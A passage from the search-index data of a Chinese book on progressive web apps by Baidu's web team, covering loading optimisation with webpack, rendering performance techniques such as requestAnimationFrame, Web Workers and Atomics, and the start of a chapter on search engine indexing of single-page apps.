DNS 预解析 如果不希望对资源进行预加载，那么也可以考虑使用 ，提前与资源建立 socket 连接。预连接会提前完成 DNS 解析、TCP 握手和 TLS 协商的工作，但并不会提前加载资源，用法如下代码所示。 DNS 预解析与预连接类似，通过 声明，但仅会提前进行 DNS 解析。 预取 预取通过 声明，通常用于提前加载用户接下来可能需要的资源，如点击“下一页”的页面等。浏览器会在空闲时，使用最低优先级下载预取的资源，用法如下代码所示。 浏览器并不会递归地进行预取。如上述例子中，next-page.html 需要预取的资源，并不会在当前页面提前下载。 懒加载 可以对图像资源采用“懒加载”策略，即仅加载当前在视口内的图像，而对于视口外未加载的图像，在其即将滚动进入视口时才开始加载。 IntersectionObserver 可以帮助我们高效地判断元素是否进入视口。一个简单的图像懒加载功能实现如下： document.addEventListener('DOMContentLoaded', () => { const images = [...document.querySelectorAll('img')] const observer = new IntersectionObserver(entries => { entries.forEach((entry) => { if (!entry.isIntersecting) { return } const image = entry.target image.src = image.dataset.src image.srcset = image.dataset.srcset observer.unobserve(image) }) }) images.forEach(image => observer.observe(image)) }) 但 IntersectionObserver 的浏览器兼容性目前并不太好，可按需引入相应的 polyfill 进行兼容。当然，也可以使用较传统的方法，监听图像元素的 scroll、resize、orientationchange 事件，通过 getBoundingClient() 来判断元素是否在视口内，从而实现懒加载。 import {throttle} from 'lodash' document.addEventListener('DOMContentLoaded', () => { let images = [...document.querySelectorAll('img')] const lazyLoad = throttle(() => { images = images.filter((image) => { const imageRect = image.getBoundingClientRect() if (imageRect.top >= innerHeight || imageRect.bottom 需要注意的是，我们还应该根据图像加载后的大小，设置图像占位符。这样可以避免图像加载后触发页面重新布局，造成页面闪烁。关于页面布局的详细内容，在后面章节的渲染性能的内容里会详细介绍。 对于视频同样可以采用懒加载策略。与图像懒加载的差别是，占位符使用 的 poster 属性实现，以及需要遍历子 元素将 data-src 修改为 src 。由于原理十分类似，这里不再重复展开。 使用 webpack 优化资源加载 webpack 是现代 Web 应用最常用的资源打包工具。接下来会以 webpack 4 为例，简单介绍一下如何使用 webpack 实现上文提到的各种优化手段。对于其他版本的 webpack，仅在具体配置上可能会有所出入，而背后的原理都是相同的。 区分开发环境和生产环境 设置 node 环境变量 NODE_ENV 可以用来区分开发环境和生产环境，一般用 development 表示开发环境，而 production 则表示生产环境。设置后，我们就可以在项目的构建脚本中，通过 process.env.NODE_ENV 获取当前环境，根据环境进行 webpack 的差异化配置了。 通常会使用 cross-env 库提供的 cross-env 命令来设置环境变量，这样做是为了兼容 Windows 系统。 cross-env NODE_ENV=production webpack 同时，需要将 webpack 配置中的 mode 选项设置为对应的环境。webpack 会根据不同环境，进行一些默认的配置，如 mode 为 production 时，会将 optimization.minimize 设置为 true，表明 webpack 将会使用 TerserPlugin 插件压缩 JavaScript 构建产物。关于不同 mode 配置下的详细效果，可参考官方文档。 // webpack.config.js module.exports = { mode: 'production' // 或 'development' } 设置 mode 后，项目中就可以根据不同环境编写代码了，如仅在开发环境下才输出的日志等。这是由于 webpack 会使用内置的 DefinePlugin 插件将项目源代码中出现的所有 process.env.NODE_ENV 直接替换为 mode 对应的环境。 if (process.env.NODE_ENV === 'development') { console.log('This app is in development mode.') } 上述代码，在生产环境下会被编译为： if ('production' === 'development') { console.log('This app is in development mode.') } 这个分支的判断条件始终为 false。从而，在 webpack 生产环境下默认开启使用的 TerserPlugin 插件，会将这段代码完全删除。我们在构建产物中将看不到整个 if 语句块了。 Tree shaking 历史上，JavaScript 有过多种模块化标准，如 CommonJS、AMD 和 ES modules。我们在实际项目中使用的第三方库，通常会提供通过 CommonJS 和 ES modules 导出的两个版本。一个典型的 package.json 文件，包含 main 和 module 两个字段，分别是通过两种模块化标准导出的文件入口。webpack 优先会读取 module 字段表明的文件入口。当 module 不存在时，才会从 main 中导入。 { // ... \\\"main\\\": \\\"lib/index.js\\\", \\\"module\\\": \\\"es/index.js\\\", // ... } 由于 CommonJS 标准允许在代码中动态导入其他模块，从而无法准确分析哪些模块被导入了。但 ES modules 标准的模块导入是静态的，使得模块间依赖可以通过静态分析来更好地优化了。关于 ES modules 标准新增的动态导入特性 import()，会在后面的合理拆分代码章节中详细介绍，下面先来看一个简单的示例，假设现在有两个文件 math.js 和 index.js，它们的内容分别如下所示： // math.js export const add = (a, b) => a + b export const mul = (a, b) => a * b // index.js import {add} from './math' console.log(add(1, 2)) 上述代码中，mul 函数将不会出现在构建产物中。这种优化技术被形象地称作 Tree shaking（摇树）。mul 函数就像树上枯萎的叶子一样，摇树后自然就掉下来了。 在实际项目中，为了浏览器兼容性考虑，我们通常会使用 Babel 等编译器来编译现代 JavaScript 代码。为了启用 Tree shaking，应该确保编译器不将 ES modules 语法编译到其他模块化标准。 部分常用的第三方库无法使用 Tree shaking，通常需要使用专门的工具进行处理。如 babel-plugin-lodash 会对引入了 lodash 的文件进行额外处理。 // 处理前 import _ from 'lodash' import { add } from 'lodash/fp' const addOne = add(1) _.map([1, 2, 3], addOne) // 处理后 import _add from 'lodash/fp/add' import _map from 'lodash/map' const addOne = _add(1) _map([1, 2, 3], addOne) 容易看出，不经过处理的文件会引入整个 lodash 库，这不是我们想要的结果。而经过 babel-plugin-lodash 处理后，则仅会引入我们所需的两个函数，大大减小了打包后的代码体积。 对于另一个体积较大的第三方库 moment 来说，使用 ContextReplacementPlugin 可以仅引入我们所需的本地化语言，而不是将所有语言都打包进来。 // webpack.config.js const {ContextReplacementPlugin} = require('wbepack') module.exports = { // ... plugins: [ new ContextReplacementPlugin(/moment[/\\\\\\\\]locale$/, /zh-cn/) ] } 启用长期缓存 webpack 在生成打包文件时，可以在文件名中插入一段仅与文件内容相关的哈希值。仅当该文件更新后，缓存才会失效，这样可以充分利用 HTTP 缓存。 配合 html-webpack-plugin 插件可以很方便地将生成的打包文件路径插入 HTML 中。 注意到 webpack 自身有一些运行时的代码，容易破坏缓存有效性，我们应该将这些代码单独打包。进一步的，可以将打包后的 webpack 运行时代码直接插入 HTML 中，以节省一次 HTTP 请求。 打包文件中模块的相互引用，都是通过 webpack 赋予的 id 来查找的，默认为自增的计数器。当新增或删除某些模块时，对应的 id 很可能会发生改变，这样就破坏了长期缓存。同样道理，我们应该使用稳定的哈希值作为模块的 id。 // webpack.config.js const {HashedModuleIdsPlugin} = require('webpack') const HtmlPlugin = require('html-webpack-plugin') const InlineManifestPlugin = require('inline-manifest-webpack-plugin') module.exports = { output: { filename: '[name].[chunkhash].js' }, optimization: { runtimeChunk: 'single' }, plugins: [ new HashedModuleIdsPlugin(), new HtmlPlugin(), new InlineManifestPlugin() ] } 合理拆分代码 我们往往不需要在首屏一次性加载所有 JavaScript 代码。为了加快首屏展现的速度，可以将当前暂时不需要的代码拆分出去。webpack 支持根据 import() 方法的调用处，把异步加载的模块拆成一个独立的 JavaScript 分片。 假设现在有一个首屏渲染用不到的 huge-component.js 模块，其代码如下所示： // huge-component.js export default HugeComponent = () => /* ... */ 在首页引入的 index.js 模块中，为了不默认将 huge-component.js 模块引入进来打包成一个大的产物，可以借助 import() 方法将 huge-component.js 模块拆分出去，如下代码所示： // index.js if (/* ... */) { import('./huge-component').then(({default: HugeComponent}) => /* ... */) } 上述例子通过 webpack 打包后，会将 huge-component.js 作为一个打包新入口，拆成一个独立的 JavaScript 文件。仅在 if 语句块内执行 import() 时，才会对该分片 JavaScript 资源发送异步请求。 合理拆分代码，不仅能显著提升首屏加载性能，还能获得更好的缓存效果。当仅修改少数几个分片的代码时，其他分片的缓存仍然有效。 压缩文本内容 JavaScript 在生产环境下默认开启压缩，无需额外配置。这里以 CSS 为例，在 webpack 中使用 postcss-loader，利用 PostCSS 的插件 cssnano 可以完成 CSS 的压缩，并且可以额外使用 autoprefixer 完成补全属性前缀的任务。postcss-loader 对应的 postcss.config.js 配置文件如下： // postcss.config.js module.exports = { plugins: { autoprefixer: {}, cssnano: { preset: [ 'default', { discardComments: { removeAll: true } } ], zindex: false, reduceIdents: false } } } 对于其他资源，也会有对应的 loader 或 plugin 来完成压缩任务，这里不再一一列举。 分析资源体积 webpack-bundle-analyzer 是一个关于 webpack 构建产物的可视化插件，可以清晰地看到构建产物的体积，以及这些产物分别包含了哪些模块。我们能得知对于资源体积的优化是否生效，并分析出后续的优化方向。也能轻易监控出是否意外引入了不必要的库，增大了构建产物的体积。 // webpack.config.js const {BundleAnalyzerPlugin} = require('webpack-bundle-analyzer') module.exports = { // ... plugins: [ new BundleAnalyzerPlugin() ] } Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter08/2-rendering-performance.html\":{\"url\":\"chapter08/2-rendering-performance.html\",\"title\":\"8.2 渲染性能 \",\"keywords\":\"\",\"body\":\"渲染性能 在上文中，我们从多个角度讨论了如何优化页面加载性能。但一个用户体验良好的页面，不仅要快速加载，还需要有一系列流畅的交互。从而，这一节我们把目光投向页面渲染性能。 渲染流程 浏览器在渲染页面前，首先会将 HTML 文本内容解析为 DOM，将 CSS 解析为 CSSOM。DOM 和 CSSOM 都是树状数据结构，两者相互独立，但又有相似之处。DOM 树描述了 HTML 标签的属性，以及标签之间的嵌套关系，如 对象的子节点包含 和 对象，而 对象的子节点可能有 对象等。CSSOM 树与 DOM 树类似，但节点描述的是由 CSS 解析得到的选择器及其样式信息。 接着，浏览器会将 DOM 和 CSSOM 树合并成渲染树。从 DOM 树的根节点开始遍历，并在 CSSOM 树中查找节点对应的样式规则，合并成渲染树中的节点。在遍历的过程中，不可见的节点将会被忽略，如 、 等标签，以及样式中含有 display: none 的节点，但含有 visibility: hidden 的节点会被保留。这也是为什么后者仍会在页面中占据布局空间的原因。 渲染树随后会被用于布局，就是计算渲染树节点在浏览器视口中确切的位置和大小。布局的过程十分复杂。比如，一个普通的块级元素，其宽度会依赖于父元素的宽度，而高度则会依赖这个元素的内容。又比如，多个普通的块级元素，原本只会在页面中从上到下排列，但通过 Flexbox、浮动或定位，会改变元素布局的行为。显而易见，浏览器进行一次布局的性能开销较大，我们需要小心地避免频繁触发页面重新布局。 得到渲染树节点的几何布局信息后，浏览器就可以将节点绘制到屏幕上了，包括绘制文本、颜色、边框和阴影等。绘制的过程，非常简略地说，首先会根据布局和视觉相关的样式信息生成一系列绘制操作，随后执行栅格化（栅格化是将向量图形格式表示的图像转换成位图以用于显示器或者打印机输出的过程），将待绘制项转换为位图存储在 GPU 中，最终通过图形库将像素绘制在屏幕上。 页面不是一次性被绘制出来的。实际上，页面被分成了多个图层进行绘制，这些图层会在另一个单独的线程里绘制到屏幕上，这个过程被称作合成。合成线程可以对图层进行剪切、变换等\\u0010\\u0010处理，因此可以用于响应用户基本的滚动、缩放等操作，又不会受到主线程阻塞的影响。 到目前为止，在经历了构建 DOM 和 CSSOM、构建渲染树、布局、绘制、合成等多个步骤后，渲染的基本流程就结束了。但我们能通过 JavaScript 操作 DOM 或修改样式，这会导致渲染树的重新计算，浏览器可能需要对页面重新布局、重绘与合成。 关键渲染路径 通过上文的介绍，我们知道渲染树是由 DOM 和 CSSOM 组合而成的。因此，在 HTML 和 CSS 没有加载完成前，页面不会渲染任何内容。换句话说，HTML 和 CSS 都是会阻塞页面渲染的资源。除此之外，JavaScript 也会阻塞页面渲染。浏览器在解析 HTML 时，如果遇到 标签时，一般会暂停解析，直到 JavaScript 执行完毕后才会继续解析剩余的 HTML。对于外部 JavaScript，在执行前还需额外等待请求的时间。这些首屏渲染所必须的关键资源，共同组成了关键渲染路径。接下来，我们会讨论如何通过缩短关键渲染路径来优化首屏性能。 延迟非关键 CSS 加载 通过 引用的 CSS 都会在加载时阻塞页面渲染。但 Web 应用中往往会有一些首屏渲染时用不到的 CSS，如弹框的样式等。为了使这些非关键 CSS 不阻塞页面渲染，我们可以通过别的途径声明 CSS 的加载。 在上文 加载性能 中提到，我们可以通过 预加载我们所需的资源。这里仅需稍作改动，就能满足我们的要求。 上面的例子非常直观，我们在 中监听了 onload 事件，并在 CSS 加载完成后，通过修改 rel 为 stylesheet 来将 CSS 应用到页面上，这就绕过了 CSS 会阻塞页面渲染的限制了。在需要考虑浏览器兼容性的情况下，推荐使用 loadCSS 来实现非关键 CSS 的加载。 对于首屏渲染所必须的关键 CSS，可以考虑通过 内联，或使用 HTTP/2 服务端推送的方式来加载，可以节省一次网络请求。这里不再进一步展开。 async 和 defer 上文提到，页面中的 会阻塞后续 DOM 的构建。为了使 JavaScript 能与页面中所有的 DOM 进行交互，最常见的引入方式是将 置于 的最底部。 绝大多数情况下，我们都不会使用如 document.write() 这样的方法，所以 在页面中的位置通常都是无关紧要的。另外，JavaScript 可能会修改样式，如果此时 CSSOM 树还未构建完成，则 JavaScript 的执行又会进一步被 CSS 加载所阻塞。针对这些弊端， 提供了 async 和 defer 两个属性，它们的用法十分类似。 当浏览器解析到 时，会对该 JavaScript 文件发起异步请求。请求成功后才会暂停 HTML 解析，并立即执行 JavaScript。在实际项目中容易发现，多个 的执行顺序是不确定的。而且在 JavaScript 执行时，页面的 DOM 可能还未全部构建完成。 对于 来说，浏览器同样会发起异步请求，但 JavaScript 会延迟到 HTML 解析完毕后依次执行。此时 JavaScript 已经能和完整的 DOM 进行交互了。 两者各有千秋，选择 还是 完全取决于我们的实际需求。 非阻塞 JavaScript 由于 JavaScript 一般是单线程执行的，长时间执行的任务会阻塞浏览器的主线程，使页面失去响应。当响应用户操作的时间超过 100ms 时，用户就已经能察觉到轻微的延迟和卡顿了。为了能在 100ms 内快速响应用户的操作，应尽量在 50ms 内处理事件。这是由于当前事件触发时，可能会有其他正在处理的事件，阻塞了当前事件的响应，造成页面卡顿。如果每个事件都在 50ms 内处理完，那么至多只需 100ms 就能响应用户的操作了。如果确实需要超过 50ms 才能处理完事件，就应该给用户提供执行进度的反馈。 同时，用户对于不流畅的滚动或动画十分敏感，一般要求页面帧率应达到每秒 60 帧。在这个帧率下，每帧的渲染需要在 16ms 内完成。但浏览器还需要花费大约 6ms 的时间将一帧绘制到屏幕上，从而只给我们留下了 10ms 时间生成一帧。由此可见，动画对于实时性要求比较苛刻，我们应该尽可能不在动画中进行其他计算。如果确实需要计算相关数据的，可以尝试将这些逻辑移到上文所述处理事件的 50ms 内进行预处理。 当页面无法及时响应用户操作，或者存在复杂和低效的动画时，最终都会严重影响用户体验。 页面滚动 最常见的动画是由用户触发的滚动操作。在移动 Web 应用中，当我们拖动屏幕时，页面一般会跟随手指进行滚动。但当我们监听 touchstart、touchmove 等事件时，由于合成线程并不知道我们是否会通过 event.preventDefault() 来阻止默认的滚动行为，从而在每次事件触发时，都会等待事件处理函数执行完毕后再进行页面滚动。这通常会导致较明显的延迟，影响页面滚动的流畅性。 document.addEventListener('touchstart', handleTouchStart, {passive: true}) 我们可以通过在 addEventListener() 时声明 {passive: true} ，来表明事件处理函数不会阻止页面滚动，使得用户的操作更快得到响应。 requestAnimationFrame JavaScript 可以进行样式更新，而动画则是以 16ms 为间隔的一连串的样式更新组成。最直接的想法是，可以通过 setInterval() 或递归调用 setTimeout() 来编写动画，如下代码所示。 function render () { element.style.top = element.offsetTop + 1 + 'px' element.style.left = element.offsetLeft + 1 + 'px' setTimeout(render, 16) } setTimeout(render, 16) 上述代码实现了一个性能非常差劲的动画，其效果是使一个绝对定位的元素，从页面左上至右下漂浮。但我们用肉眼就能发现，动画产生了卡顿和掉帧的现象。这是由于 setTimeout 和 setInterval 的回调函数会在浏览器渲染两帧之间的任何时间点执行，而定时器的 16ms 又不是特别精确，从而有可能使一次样式变更错过浏览器渲染。 为了实现平滑流畅的动画效果，我们应该使用 requestAnimationFrame() 方法来代替定时器，requestAnimationFrame() 方法接收一个回调函数为参数，其回调函数不在浏览器事件循环中调度，而是在浏览器渲染下一帧之前执行，这可以确保动画不会掉帧。requestAnimationFrame 的回调函数接收一个高精度时间戳 timestamp，类似于 performance.now() 的返回值，代表回调被执行的精确时间，其用法通常如下代码所示。 function render (timestamp) { // 执行渲染的具体逻辑 // ... requestAnimationFrame(render) } requestAnimationFrame(render) 对于需要长时间执行的任务，我们可以尝试把它拆分成多个小任务，然后通过 requestAnimationFrame() 进行调度，以确保页面的流畅性。上文提到生成一帧的时间应该在 10ms 内，所以保守估计，帧间任务的执行时间最好不要超过 3 ~ 4ms，通常做法如下代码所示。 function scheduleWork (timestamp) { let currentTimestamp while (currentTimestamp - timestamp 0) { performWork(tasks.pop()) currentTimestamp = performance.now() } tasks.length > 0 && requestAnimationFrame(scheduleWork) } requestIdleCallback requestIdleCallback 允许我们将任务安排在浏览器空闲时执行。我们可以将一些不太重要的任务推迟，如发送日志等。requestIdleCallback 的回调函数接收一个参数 deadline，包含 timeRemaining() 方法和 didTimeout 属性。timeRemaining() 返回一个高精度时间戳，表示还剩多少时间执行任务。我们在上文反复提到，应该在 50ms 内处理事件，这对于 requestIdleCallback 来说也是一样的，所以 timeRemaining() 的初始值为 50ms。 function scheduleWork (deadline) { while (deadline.timeRemaining() > 5 && tasks.length > 0) { performWork(tasks.pop()) } tasks.length > 0 && requestIdleCallback(scheduleWork) } requestIdleCallback(scheduleWork) 上述代码与 requestAnimationFrame 中的例子十分相似。假设每个任务都能在 5ms 内完成，那么我们可以设定，当剩余空闲时间大于 5ms 时，继续处理剩余任务，否则就优先确保页面能及时响应用户操作，并将剩余的任务重新调度。 由于我们并不知道浏览器何时才会空闲，因此 requestIdleCallback 回调函数的执行时机是不确定的。但它提供了一个超时机制，能确保在等待超时后执行回调函数，此时 timeRemaining() 为 0，而 didTimeout 为 true。 requestIdleCallback(scheduleWork, {timeout: 2000}) 不过我们最好不要指定超时时间，因为这还是有可能导致页面无法及时响应用户操作。另外，由于不确定的执行时机，我们绝不应该在回调函数里操作 DOM，或进行任何样式变更，而应该放在 requestAnimationFrame 的回调函数中执行。 Web Workers 对于需要长时间执行的任务，另一个解决方案是使用 Web Workers，在第四章介绍 Service Worker 的时候我们已经知道，Web Workers 是独立于主线程的独立工作线程，我们可以将一些耗性能的逻辑放在 worker 线程中进行处理，这样主线程就能继续响应用户操作和渲染页面了。在 Worker 线程中，我们无法访问主线程中的 DOM 或其他数据，仅能通过 postMessage() 与主线程进行数据通信。下面可以看一个最简单的 Web Workers 的示例，假设存在一个主线程入口 main.js，其内容如下： // main.js const worker = new Worker('worker.js') worker.addEventListener('message', event => console.log(event.data)) // 3 worker.postMessage([1, 2]) 上面代码可以看出，通过 new Worker('worker.js') 的方式初始化了一个 worker 线程，和 Service Worker 一样，worker 线程执行的逻辑都会在 worker.js 中实现，下面代码展示的是 worker.js 的内容。 // worker.js self.addEventListener('message', event => { const {data} = event const sum = data[0] + data[1] self.postMessage(sum) }) 注意： 出于安全考虑，Chrome 不支持通过 file 协议加载 Web Worker，如果你想本地直接运行代码，需要在启动 Chrome 时加上参数 --allow-file-access-from-files，或者你可以使用 FireFox 进行调试，FireFox 目前没有此限制。 上述例子中，通过 Worker 线程计算了 1 + 2 的结果。这看起来没什么用，但却揭示了 Web Workers 最基本的用法。接下来我们可以再来看一些稍微复杂一点的例子。 // main.js const canvas = document.querySelector('canvas') const offscreen = canvas.transferControlToOffscreen() const worker = new Worker('worker.js') worker.postMessage({canvas: offscreen}, [offscreen]) // worker.js self.addEventListener('message', event => { const {data: {canvas}} = event const context = canvas.getContext('2d') function render (time) { // ... self.requestAnimationFrame(render) } render() }) 这是一个离屏 canvas 的使用例子。我们把主线程中的 canvas 移动到了 Worker 线程，并在 Worker 线程中进行 canvas 的绘制。前一个例子没有提到的细节是，主线程与 Worker 线程之间，通过 postMessage() 传递数据的方式是“结构化克隆”。这是一种类似深拷贝的算法，用于拷贝结构化数据。但是，直接拷贝显然是低效的，尤其是在传递较大的数据时，性能开销令人难以接受。庆幸的是，实现 Transferable 接口的对象，如 ArrayBuffer、ImageBitmap 和 OffscreenCanvas，都支持移动语义。我们可以在 postMessage() 的第二个参数中声明数据应该移动到 Worker 线程，而不是拷贝。通过 postMessage() 移动后的数据，在原来的线程里就无法读取到了。 根据过往并发编程的经验，我们很容易会思考如何在 Web Workers 的多线程之间共享内存。SharedArrayBuffer 提供了共享内存的机制，在通过 postMessage() 传递数据时，不会进行结构化拷贝，而是在线程间共享相同的内存块。 // main.js const worker = new Worker('worker.js') const length = 8 const size = Int32Array.BYTES_PER_ELEMENT * length const sharedBuffer = new SharedArrayBuffer(size) const sharedArray = new Int32Array(sharedBuffer) worker.postMessage(sharedBuffer) // worker.js self.addEventListener('message', event => { const {data: sharedBuffer} = event const sharedArray = new Int32Array(sharedBuffer) // ... }) 显然，共享内存可能会引发线程安全问题，即代码在多线程环境下，运行结果无法预测，且往往丢失了正确性。一个简单的思路是，确保数据始终只由一个线程来写入，而对于其他线程是只读的，但这样并没有解决本质问题。为了确保线程安全，JavaScript 提供了原子操作类 Atomics ，包含了读取、赋值、加减、位运算等原子操作。 sharedArray[i]++ // 线程不安全 Atomics.add(sharedArray, i, 1) // 线程安全 原子操作表示最小不可分割的操作。上面是一个描述原子操作的经典例子。sharedArray[i]++ 看似是一次递增操作，实际上包含了读取、修改与写入三步，而且写入的值依赖于先前读取的，这会引发线程安全问题，部分线程执行的递增操作可能丢失了。但使用原子操作 Atomics.add() 则是线程安全的，相当于将前者的三步操作合并成了一步，消除了多个线程之间的竞争态。 但并不是使用了原子操作的代码就是线程安全的，我们来看下面的例子。 // main.js const workers = Array.from(Array(4), () => new Worker('worker.js')) const size = 2 * Uint8Array.BYTES_PER_ELEMENT const cache = new SharedArrayBuffer(size) workers.forEach((worker, index) => worker.addEventListener('message', event => { const {data: {num, factorial}} = event let target = 1 for (let i = 2; i Math.ceil(Math.random() * 5)) nums.forEach((num, index) => { workers[index & 3].postMessage({ num, cache }) }) // worker.js self.addEventListener('message', event => { const {data: {num, cache}} = event const lastResult = new Uint8Array(cache) if (Atomics.load(lastResult, 0) === num) { return self.postMessage({ num, factorial: Atomics.load(lastResult, 1) }) } let factorial = 1 for (let i = 2; i 上述代码是一个刻意构造的例子，将 128 个大小为 1~5 的数字分配给四个 Worker 线程计算阶乘，并将最近一次计算的结果缓存在共享内存 cache 里。虽然对 cache 的所有操作均为原子操作，但我们经过简单思考后就能发现，这段代码仍然不是线程安全的。因为我们不能保证两次读取 lastResult 之间，其他线程没有对其进行修改。同样，我们也不能保证能同时写入 lastResult 的两个值。 对于单个共享变量而言，Atomics.compareExchange 提供了一种乐观锁的机制，可以仅在当前值符合预期时才进行写入。但对于多个共享变量的同步，我们通常需要使用互斥锁。注意到 Atomics.wait() 和 Atomics.notify() 的用法类似于 Linux 的 futex，我们可以利用这两个方法，实现一个简单的互斥锁。 class Mutex { constructor (resources, index) { this.resources = resources this.index = index this.locked = false } lock () { if (this.locked) { Atomics.add(this.resources, this.index, 1) return } while (1) { if (Atomics.load(this.resources, this.index) > 0) { while (Atomics.wait(this.resources, this.index, 0) !== 'ok') {} } if (Atomics.compareExchange(this.resources, this.index, 0, 1)) { continue } this.locked = true return } } unlock () { if (!this.locked) { return } if (Atomics.sub(this.resources, this.index, 1) === 1) { this.locked = false } Atomics.notify(this.resources, this.index, 1) } } resources 在多线程中共享，用 resources[index] 表示 index 处被锁定的次数。通过 lock() 请求互斥锁时，会使用 Atomics.wait()\\u0010 等待其他线程释放 index 处的锁。类似的，通过 unlock() 释放互斥锁时，会使用 Atomics.notify() 通知其他线程该处的锁已被释放。 降低渲染树计算复杂性 如上文提到的，渲染树由 DOM 和 CSSOM 树合并而成，对于每个 DOM 元素，需要查找与元素匹配的样式规则。从而，在尽量减少 DOM 元素节点的情况下，使用简单的 CSS 选择器是一个很自然的想法。 .last-list-item { /* ... */ } ul.list > li:last-child { /* ... */ } 在上面的例子中，使用一个类作为选择器，要比多种选择器混合使用简单得多。浏览器对于后者，需要花费更多的时间判断选择器与元素是否匹配。只在 CSS 中使用类选择器，并对类名使用 BEM (Block, Element, Modifier) 命名法，是一种组织 CSS 代码的好方式。类名由块、元素、修饰符三部分组成，如上面描述列表中最后一个元素的 BEM 命名法，可以命名为 .list__list-item--last-child。使用 CSS Modules 可以更方便地达到类似的效果。CSS Modules 是一种较为主流的 CSS-in-JS 解决方案，利用 webpack 等构建工具，可以对类选择器生成自定义格式的唯一类名，同样能减少浏览器匹配 CSS 选择器的开销。 减少布局次数 页面布局与元素样式的几何特性相关，对应的 CSS 属性包括盒模型、定位等。修改这些属性会引起一次页面重新布局，又被称作回流。上文提到，浏览器进行一次布局的开销很大，所以我们需要尽可能避免直接修改这些属性，尤其是不应将布局属性用于动画效果，否则会出现明显的掉帧现象。关于如何使用 CSS 编写高性能的动画，会在下一小节里详细讨论。 通过 JavaScript 触发页面布局时，容易造成多种性能问题，其中最常见的是 forced reflow（强制重新布局）。 const box = document.querySelector('.box') let domRect = null function getBoxClientRect () { domRect = box.getBoundingClientRect() } requestAnimationFrame(getBoxClientRect) 我们在下一帧开始前通过 getBoundingClientRect() 获取元素的宽高及视口位置，获取的其实是上一帧已经计算好的布局信息。但如果在这之前又修改了元素的布局属性，那么为了获取当前正确的布局信息，浏览器只能被迫触发一次重新布局。如下面的代码所示： const box = document.querySelector('.box') let domRect = null function getBoxClientRect () { box.style.width = '360px' domRect = box.getBoundingClientRect() // forced reflow } requestAnimationFrame(getBoxClientRect) 但如果我们交换上述写和读的操作，就不会触发重新布局。这是由于浏览器并不会在修改元素布局属性后直接重新布局，而是会将所有修改操作合并，在后续一帧的布局中统一处理。简单来说，始终保持布局属性先读后写，可以有效回避这个性能问题。 我们明白了强制重新布局的原理后，可以再来看一种原理相同但较为隐蔽的性能问题，被为作布局抖动。 const boxes = [...document.querySelectorAll('.box')] boxes.forEach((box) => { const domRect = box.getBoundingClientRect() box.style.width = domRect.width + 10 + 'px' }) 上面的例子试图将所有 .box 元素宽度增加 10px 。看似保持了对布局属性的先读后写，实际上浏览器快速而连续地进行了大量重新布局。这是由于在下一次 forEach() 迭代中，通过 getBoundingClientRect() 获取元素的布局信息时，必须考虑上一次迭代中修改 box.style.width 可能造成的影响。从而浏览器只能在每次迭代中都触发一次重新布局，造成布局抖动的现象。 const boxes = [...document.querySelectorAll('.box')] const domRects = boxes.map(box => box.getBoundingClientRect()) boxes.forEach((box, index) => { box.style.width = domRects[index].width + 10 + 'px' }) 调整元素布局属性的读写顺序，可轻易地解决布局抖动问题。只需确保布局属性先批量读取，再批量写入即可。 优化绘制与合成 类似对布局操作的优化，这一小节我们关注如何减少重绘。上文提到，修改元素几何形态相关的样式属性，才会触发页面重新布局。但对于绘制来说，我们能很直观地想到，修改绝大多数样式属性都会导致页面重绘，这很难避免。仅有的例外是 transform 和 opacity，这是由于它们可以仅由合成器操作图层来实现。另外，合成器运行在单独的线程里，即使浏览器主线程被阻塞，其效果也不会受到影响。所以，transform 和 opacity 非常适合用于实现动画效果，但我们仍需要通过 will-change 为它们创建独立的图层，避免影响其他图层的绘制。 .moving-element { will-change: transform, opacity; } Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter09.html\":{\"url\":\"chapter09.html\",\"title\":\"第9章 PWA 与搜索\",\"keywords\":\"\",\"body\":\"PWA 与搜索 PWA 是 Web 的一种形式，搜索仍是它的一大入口。 熟知搜索引擎的开发者都知道，早期的搜索引擎是不支持抓取 SPA(Single Page Application) 的，而 PWA 多是 SPA，在这种情况下，如何让搜索引擎能够更好的收录 PWA 页面是本章要介绍的第一个问题。 SPA 页面依赖于 JavaScript 进行渲染，其内容并不是由服务器端渲染直出的，因此从搜索结果页点击结果跳到 PWA 页面，会经历比较长的时间的一段白屏，如何提升 PWA 页面从搜索过来的体验，是本章要介绍的第二个问题。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter09/1-search-engine-index.html\":{\"url\":\"chapter09/1-search-engine-index.html\",\"title\":\"9.1 搜索引擎收录\",\"keywords\":\"\",\"body\":\"搜索引擎收录 搜索引擎作为 Web 的重要的流量入口，是每个 Web App 开发者或运营者需要重点关注的一个方向，而 PWA 作为 Web 的一种形式，自然是需要关注搜索引擎对它的抓取和收录情况。通常 PWA 多数是 SPA，有以下几个原因： SPA 天然具有 App Shell，也就是作为入口的 HTML。 App Shell 和 Service Worker 配套使用非常合适。 页面间切换顺畅，体验良好。 早期的几乎所有的搜索引擎都不支持索引 SPA，这导致 SPA 项目很少应用于依赖流量的用户产品类的 Web App，通常都只是作为内部项目的技术选型，当然这也是早期 Web 用户体验较差的一个原因之一。搜索引擎不能抓取和收录 SPA 有以下几个原因： 搜索引擎只是抓取服务端直出的 HTML页面，并不会去执行页面里包含的 JS 代码，所以无法抓取 SPA 前端渲染后的内容。 路由采用 hash 模式的 SPA 页面没有唯一的 URL，整个 SPA 站点都对应同一个 URL。 好消息是 Google 在 2015-10-14 宣布其搜索引擎可以和现代浏览器一样抓取页面中通过 JavaScript 执行渲染的内容https://webmasters.googleblog.com/2015/10/deprecating-our-ajax-crawling-scheme.html，这样的话，SPA 在搜索引擎中的抓取和收录问题就解决了大半，开发者可以通过 pushState API 的方式来改变 URL，代替 hash 方案，通过前端路由管理的方式让 URL 和 SPA 的页面一一对应，这样就完美的解决了 SPA 在搜索引擎中的抓取和收录问题。 但是事实并非如此，这仅仅是 Google 提出并实践出来了的方案，而现在市场上存在的搜索引擎还有非常多，它们并没有都像 Google 一样完全支持了抓取 SPA。在中国，百度作为最大的中文搜索引擎，从 2018 